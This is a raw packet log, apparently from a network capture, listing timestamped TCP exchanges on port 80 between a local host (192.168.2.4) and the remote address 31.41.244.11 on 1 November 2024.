Nov 1, 2024 10:57:10.120212078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120222092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120238066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120248079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120263100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120296955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120326042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120336056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120346069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120357037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120367050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120372057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120378017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120383978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120409012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120421886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120452881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120476961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120487928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120518923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120532990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120769978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120827913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120832920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120840073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120867968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120887995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120903015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120913982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120927095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120942116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120944023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120953083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120964050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.120965958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.120997906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121010065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121123075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121144056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121155977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121165991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121172905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121198893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121217966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121263981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121274948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121284008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121306896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121320963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121400118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121411085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121422052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121443033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121470928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121643066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121653080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121663094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121675968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121687889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121697903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121697903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121701002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121732950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121742010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121752024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121757030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121764898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121776104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121783018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121803045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121828079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121850967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121862888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121874094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.121896029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121905088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121926069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.121962070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122003078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122045994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122056007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122066021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122091055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122112989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122176886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122189045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122205019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122215986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122219086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122231007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122234106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122243881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122253895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122257948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122287989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122297049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122303009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122309923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122339964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122355938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122368097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122378111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122386932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122397900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122411966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122443914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122481108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122492075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122500896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122522116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122534037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122560978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122572899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122581959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122606993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122636080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122718096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122730017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122742891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122759104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122764111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122770071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122782946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122785091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122811079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122814894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122823000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122833967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.122860909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.122876883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123137951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123167992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123183966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123203993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123457909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123475075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123486996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123497963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123512983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123531103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123560905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123573065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123583078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123594999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123600006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123620987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123646975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123697042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123708010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123718023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123729944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123743057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123744011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123759985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123770952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123775005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123790979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123795033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123806953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123816967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123817921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123827934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123836994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123847961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123852015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123866081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123888016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123895884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123900890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123910904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123920918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123927116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123933077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123948097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123951912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123965025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123977900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123980045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.123991013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.123996019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124003887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124013901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124023914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124057055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124059916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124074936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124087095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124090910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124099016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124109983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124121904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124150038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124152899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124161959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124171972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124190092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124219894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124274969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124286890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124295950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124316931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124344110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124351025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124361992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124372005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124394894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124408007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124448061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124458075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124470949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124486923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124519110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124531984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124542952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124552011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.124572039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.124587059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125372887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125386953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125397921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125411034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125413895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125435114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125452042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125463009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125463009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125489950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125511885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125744104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125762939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125773907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125788927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125806093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125819921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125876904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125889063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125897884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125907898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125917912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.125917912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125946999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125958920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.125997066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126008034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126019001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126029015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126039028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126040936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126049042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126059055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126059055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126069069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126087904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126110077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126353979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126364946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126375914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126399040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126414061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126420021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126426935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126439095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126456976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126467943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126526117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126538038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126547098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126558065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126564980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126569033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126580000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126593113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126621008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126681089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126692057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126702070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126713037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126719952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126724958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126743078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126749992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126764059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126774073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126777887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.126795053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.126815081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145334959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145354033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145365000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145397902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145411968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145411968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145422935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145435095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145436049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145484924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145509005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145525932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145535946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145545959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145560980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145602942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145632029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145642996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145651102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145661116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145670891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145680904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145687103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145708084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145708084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145729065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145756960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145771980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145785093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145801067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145811081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145822048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145828962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145848036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145883083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145910978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145921946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145931005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.145960093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145972967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.145997047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146008015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146047115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146049023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146058083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146070957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146089077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146107912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146133900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146151066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146161079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146171093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.146177053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.146204948 CET	49820	80	192.168.2.4	31.41.244.11
